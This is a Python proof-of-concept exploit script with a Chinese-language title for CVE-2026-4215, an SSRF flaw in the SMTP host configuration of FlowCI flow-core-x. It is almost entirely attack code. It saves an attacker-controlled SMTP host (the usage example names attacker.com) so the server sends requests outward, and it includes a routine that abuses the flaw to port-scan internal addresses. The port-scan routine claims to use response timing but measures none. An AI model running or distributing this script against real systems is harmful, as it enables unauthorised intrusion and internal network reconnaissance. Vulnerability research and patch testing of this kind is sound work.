CVE-2026-4215 FlowCI flow-core-x SMTP Host Handler SSRF漏洞

import requests import sys # CVE-2026-4215 PoC - SSRF in FlowCI flow-core-x SMTP Host Handler # Target: FlowCI flow-core-x <= 1.23.01 def exploit_ssrf(target_url, attacker_server): """ Exploit SSRF vulnerability in ConfigServiceImpl.java Save function Args: target_url: Base URL of FlowCI application attacker_server: Attacker's controlled server to receive SSRF requests """ # Construct malicious SMTP host configuration # The Save function in ConfigServiceImpl.java doesn't properly validate # the SMTP host input, allowing attacker to specify arbitrary URLs/IPs smtp_config = { "host": attacker_server, # Attacker-controlled server "port": 80, "type": "smtp" } # Endpoint for saving SMTP configuration endpoint = f"{target_url}/api/config/smtp" try: # Send malicious configuration response = requests.post( endpoint, json=smtp_config, timeout=10, verify=False ) print(f"[*] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Malicious SMTP host configuration saved successfully") print(f"[*] Server will now make requests to: {attacker_server}") return True else: print(f"[-] Failed to save configuration: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def internal_port_scan(target_url): """ Use SSRF to perform internal port scanning """ internal_ips = ["127.0.0.1", "192.168.1.1", "10.0.0.1"] ports = [22, 80, 443, 3306, 6379, 8080] for ip in internal_ips: for port in ports: smtp_config = { "host": f"{ip}:{port}", "port": port, "type": "smtp" } endpoint = f"{target_url}/api/config/smtp" try: response = requests.post( endpoint, json=smtp_config, timeout=5, verify=False ) # If response time is short, port might be open print(f"[*] Scanned {ip}:{port}") except: pass if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-4215-poc.py <target_url> <attacker_server>") print("Example: python cve-2026-4215-poc.py http://flowci.local http://attacker.com") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] print("[*] CVE-2026-4215 PoC - FlowCI SSRF") print(f"[*] Target: {target}") print(f"[*] Attacker server: {attacker}") exploit_ssrf(target, attacker)